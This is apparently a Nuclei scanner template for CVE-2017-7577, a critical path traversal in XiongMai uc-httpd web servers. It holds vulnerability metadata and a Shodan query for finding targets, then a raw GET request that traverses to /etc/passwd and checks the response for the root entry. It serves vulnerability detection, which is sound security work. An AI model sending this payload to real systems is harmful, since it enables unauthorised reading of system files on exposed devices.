id: CVE-2017-7577 info: name: XiongMai uc-httpd - Path Traversal author: theamanrawat severity: critical description: | XiongMai uc-httpd contains a path traversal caused by handling of 'GET ../' requests, letting attackers read arbitrary files, exploit requires sending crafted HTTP requests. impact: | Attackers can read sensitive files from the server, leading to information disclosure. remediation: | Update to the latest version of uc-httpd that addresses this vulnerability or apply security patches. reference: - https://web.archive.org/web/20170514152737/http://zeroday.insecurity.zone/exploits/uc-httpd_lfi.txt - https://nvd.nist.gov/vuln/detail/CVE-2017-7577 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-7577 epss-score: 0.53703 epss-percentile: 0.9902 cwe-id: CWE-22 metadata: verified: false vendor: xiongmaitech product: uc-httpd shodan-query: cpe:"cpe:2.3:a:xiongmaitech:uc-httpd" tags: cve,cve2017,xiongmai,lfi,vkev,vuln flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(tolower(header), "uc-httpd")' condition: and internal: true - raw: - | GET ../../../../../etc/passwd HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'regex("root:.*:0:0:", body)' - 'status_code == 200' condition: and # digest: 490a004630440220124f5ff00acb5b09c7ecbb098308b582e89d3efb50e0403d80499ff34323aefc0220289374f9f09d03fe95fe4ed3c1a29b2617f9672a07afa54dc834064d48753679:922c64590222798bb761d5b6d8e72950